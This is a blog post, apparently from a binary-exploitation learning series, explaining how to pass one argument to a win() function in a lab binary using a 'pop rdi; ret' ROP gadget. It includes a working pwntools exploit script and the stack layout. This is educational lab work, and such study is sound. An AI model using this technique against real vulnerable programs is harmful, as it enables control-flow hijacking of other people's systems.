Published on

Pwn Learning Path #3: ret2win With One Argument

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

Returning directly to win() worked when the function had no arguments. The next lab changed the target to:

win(0xdeadbeef);

Controlling rip was no longer enough. I also needed to control rdi, the first integer-argument register in the System V AMD64 calling convention.

The gadget

The binary contains a deliberately simple gadget:

pop rdi
ret

Its behavior is two small steps:

  1. pop rdi takes the eight-byte value at [rsp], puts it in rdi, and advances rsp by eight.
  2. ret takes the next eight-byte value at [rsp], puts it in rip, and advances rsp again.

This turns adjacent stack values into a tiny control-flow program.

Laying out the chain

The saved RIP offset remained 72 bytes. After that padding, the stack needed to contain:

pop rdi; ret
0xdeadbeef
win

Visually, the gadget consumes the chain like this:

saved RIP  -> pop rdi; ret
[rsp]      -> 0xdeadbeef      (consumed by pop rdi)
[rsp + 8]  -> win             (consumed by ret)

Resolving the gadget with pwntools

Instead of copying a build-specific gadget address into the script, I used pwntools:

from pwn import *

elf = context.binary = ELF('./ret2win_arg', checksec=False)
rop = ROP(elf)
io = process(elf.path)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload = flat(
    b'A' * 72,
    pop_rdi,
    0xdeadbeef,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The successful result was:

local{ret2win_argument_control}

What changed from basic ret2win

The vulnerability and offset did not change. Only the required machine state changed:

basic ret2win:  rip = win
one argument:   rdi = 0xdeadbeef, then rip = win

That was my introduction to ROP as state preparation. A gadget is useful because of the precise state transition it performs before handing control to the next address.

Series navigation

← Part 2: basic ret2win · Part 4: ret2win with two arguments →